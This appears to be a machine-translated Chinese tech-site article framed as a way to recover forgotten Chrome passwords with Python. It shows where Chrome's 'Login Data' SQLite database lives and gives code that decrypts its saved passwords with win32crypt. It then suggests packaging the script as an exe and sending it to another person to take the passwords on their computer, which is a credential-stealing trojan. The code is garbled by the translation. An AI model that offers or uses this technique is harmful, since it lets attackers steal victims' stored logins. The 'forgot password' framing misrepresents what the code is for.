Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to solve the problem of forgetting the password on the website by Python in Chrome

2025-01-17 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Internet Technology >

Share

Shulou(Shulou.com)06/01 Report--

Editor to share with you how to solve the problem of forgetting the password on the website by Python in Chrome. I hope you will get something after reading this article. Let's discuss it together.

1. View the password form stored in Chrome

Click on the upper right corner of the Chrome browser to enter Settings-> Advanced-> Administration password (there may be some differences depending on the browser version), or enter * * chrome://settings/passwords** in the Chrome browser and you will see a lot of saved password form information. Of course, if you want to view password details, you have to enter the computer's system administrator password. Is it easy to see here? But wouldn't it be more interesting if we could get the passwords of other computers in an instant like the hackers in the movie?

2. Where is SQLite and how to query it?

So, how are Chrome passwords stored? The answer is to use "SQLite". First of all, enter my computer, enter the following code in the address bar, and enter the data storage path of app:

C:\ Users\ Administrator\ AppData\ Local

After entering the password database of the chrome browser, the unified address is as follows:

Google\ Chrome\ User Data\ Default\ Login Data

3. View the password stored in the Chrome browser

Get the SQLite database file, we randomly find a sqlite tool, we can open the database!

Open the database, we see three tables: logins, meta, stats, in which logins stores your saved URL, user name, password data, respectively: signon_realm,username_value,password_value, but the problem is that the password_value field looks empty because it is encrypted.

CryptUnprotectData data can be found in win32crypt, and to use this module, the following code is required for installation:

Pip install pywin32

4. After the preparatory work is done, let's start the code.

Import osimport shutilimport sqlite3import win32cryptdb_file_path = os.path.join (os.environ ['LOCALAPPDATA'], r'Google\ Chrome\ User Data\ Default\ Login Data') tmp_file = os.path.join (os.environ [' LOCALAPPDATA'], 'sqlite_file') print (tmp_file) if os.path.exists (tmp_file): os.remove (tmp_file) shutil.copyfile (db_file_path, tmp_file) conn = sqlite3.connect (tmp_file) for row in conn.execute (' select signon_realm) Username_value,password_value from logins'): ret = win32crypt.CryptUnprotectData (row [2], None, 0) print ('website:%-50s Username:%-20s, password:% s'% (row [0] [: 50], row [1], ret [1] .decode ('gbk')) conn.close () os.remove (tmp_file)

Through decryption, we get the username and password saved by the Chrome browser and save it to text.

Then we just need to use * * pyinstaller-F xxx.py**, package the code into exe and send it to each other, and then we can get the password on his computer! Although this pseudo-hacker is very simple and even some chicken ribs, but often in some things because of their own carelessness and lead to the disclosure of data, here to strengthen their own sense of secrecy! Although it's cool to keep passwords in Chrome browsers, it's safest to keep them in mind.

After reading this article, I believe you have a certain understanding of "how to solve the problem of Python forgetting the password on the website in Chrome". If you want to know more about it, you are welcome to follow the industry information channel. Thank you for reading!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Internet Technology

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report